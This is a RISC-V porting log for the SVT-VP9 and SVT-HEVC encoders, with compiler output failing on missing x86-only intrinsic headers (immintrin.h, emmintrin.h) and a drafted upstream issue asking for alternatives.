/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_idct.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_idct.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_idct.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_idct.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_rtcd.h:19,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_idct.c:12:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[24/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_mvref_common.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_mvref_common.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_mvref_common.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_mvref_common.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_mvref_common.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_mvref_common.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_onyxc_int.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_mvref_common.h:13,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_mvref_common.c:12:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[25/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconinter.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconinter.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconinter.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconinter.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconinter.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_reconinter.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_reconinter.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[26/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rd.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rd.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rd.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rd.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rd.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_rd.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbUtility.h:9,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_rd.c:23:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[27/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/prob.c.o
[28/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_picklpf.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_picklpf.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_picklpf.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_picklpf.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_picklpf.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_picklpf.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_picklpf.c:15:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[29/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/bitwriter.c.o
[30/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_cost.c.o
[31/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_quant_common.c.o
[32/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/bitwriter_buffer.c.o
[33/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encodemv.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encodemv.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encodemv.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encodemv.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encodemv.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encodemv.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_onyxc_int.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encoder.h:18,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encodemv.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encodemv.c:20:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[34/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encoder.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encoder.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encoder.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encoder.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_encoder.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encoder.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_onyxc_int.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encoder.h:18,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_encoder.c:50:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[35/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scale.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scale.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scale.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scale.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scale.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_scale.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_scale.c:11:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[36/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconintra.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconintra.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconintra.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconintra.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_reconintra.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_reconintra.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_reconintra.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_reconintra.c:14:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[37/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scan.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scan.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scan.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scan.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_scan.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_scan.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_scan.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_scan.c:11:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
ninja: build stopped: subcommand failed.

SVT-HEVC

错误排查

和 SVT-VP9 几乎差不多，只改了一个包名字，故详见 SVT-VP9 排错日志。

Issue 上报

Hello, I'm from ArchRISC-V Team, a community porting Arch Linux software to RISC-V architecture.

Description

When post SVT-HEVC, we encountered compile error. Looking up the log, we found immintrin.h head file, which leaded this fail.

After searching some docs, we got a depressed truth: it seems that this head file is for x86_64 only.

Are there some alternatives for it?

  • https://github.com/suijingfeng/vkQuake3/issues/14#issuecomment-674390549
  • https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=262910#c3
  • https://www.betamaster.us/blog/?p=1922

Last

If alternatives don't exist, you can give me some advice about the build process or something else.

Sincerely thanks.

:)

Appendix: Failed log

-- The C compiler identification is GNU 11.2.0
-- The ASM_NASM compiler identification is NASM
-- Found assembler: /usr/bin/nasm
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- CMAKE_BUILD_TYPE = 
-- CMAKE_C_COMPILER = /usr/bin/cc
-- CMAKE_ASM_NASM_COMPILER = /usr/bin/nasm
-- CMAKE_AR = /usr/bin/ar
-- CMAKE_RANLIB = /usr/bin/ranlib
-- CMAKE_INSTALL_PREFIX = /usr
-- Performing Test C_FLAG_Wall
-- Performing Test C_FLAG_Wall - Success
-- Performing Test C_FLAG_Wextra
-- Performing Test C_FLAG_Wextra - Success
-- Performing Test C_FLAG_Wformat
-- Performing Test C_FLAG_Wformat - Success
-- Performing Test C_FLAG_Wformat_security
-- Performing Test C_FLAG_Wformat_security - Success
-- Performing Test C_FLAG_fPIE
-- Performing Test C_FLAG_fPIE - Success
-- Performing Test C_FLAG_fPIC
-- Performing Test C_FLAG_fPIC - Success
-- Performing Test C_FLAG_D_FORTIFY_SOURCE_2
-- Performing Test C_FLAG_D_FORTIFY_SOURCE_2 - Success
-- Performing Test C_FLAG_GS
-- Performing Test C_FLAG_GS - Failed
-- Performing Test C_FLAG_sdl
-- Performing Test C_FLAG_sdl - Failed
-- Performing Test C_FLAG_fstack_protector_strong
-- Performing Test C_FLAG_fstack_protector_strong - Success
-- Performing Test C_FLAG_O2
-- Performing Test C_FLAG_O2 - Success
-- Performing Test C_FLAG_O3
-- Performing Test C_FLAG_O3 - Success
-- Performing Test C_FLAG_O0
-- Performing Test C_FLAG_O0 - Success
-- Performing Test C_FLAG_msse2
-- Performing Test C_FLAG_msse2 - Failed
-- Performing Test C_FLAG_msse4_1
-- Performing Test C_FLAG_msse4_1 - Failed
-- Performing Test C_FLAG_static_intel
-- Performing Test C_FLAG_static_intel - Failed
-- Performing Test C_FLAG_mssse3
-- Performing Test C_FLAG_mssse3 - Failed
-- Performing Test C_FLAG_mavx2
-- Performing Test C_FLAG_mavx2 - Failed
-- Performing Test C_FLAG_Qwd10148
-- Performing Test C_FLAG_Qwd10148 - Failed
-- Performing Test C_FLAG_Qwd10010
-- Performing Test C_FLAG_Qwd10010 - Failed
-- Performing Test C_FLAG_Qwd10157
-- Performing Test C_FLAG_Qwd10157 - Failed
-- Configuring done
-- Generating done
-- Build files have been written to: /build/svt-hevc/src/build
[1/137] Building ASM_NASM object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/x64Macro.asm.o
[2/137] Building ASM_NASM object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/x64inc.asm.o
[3/137] Building ASM_NASM object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/x64RegisterUtil.asm.o
[4/137] Building ASM_NASM object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbPictureOperators_SSE2.asm.o
[5/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbDeblockingFilter_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbDeblockingFilter_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbDeblockingFilter_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbDeblockingFilter_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbDeblockingFilter_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbDeblockingFilter_Intrinsic_SSE2.c
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbDeblockingFilter_Intrinsic_SSE2.c:6:10: fatal error: emmintrin.h: No such file or directory
    6 | #include "emmintrin.h"
      |          ^~~~~~~~~~~~~
compilation terminated.
[6/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp16bit_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp16bit_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp16bit_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp16bit_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp16bit_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMcp16bit_Intrinsic_SSE2.c
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMcp16bit_Intrinsic_SSE2.c:6:10: fatal error: emmintrin.h: No such file or directory
    6 | #include "emmintrin.h"
      |          ^~~~~~~~~~~~~
compilation terminated.
[7/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPackUnPack_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPackUnPack_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPackUnPack_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPackUnPack_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbPackUnPack_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbPackUnPack_Intrinsic_AVX2.c
/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbPackUnPack_Intrinsic_AVX2.c:6:10: fatal error: immintrin.h: No such file or directory
    6 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
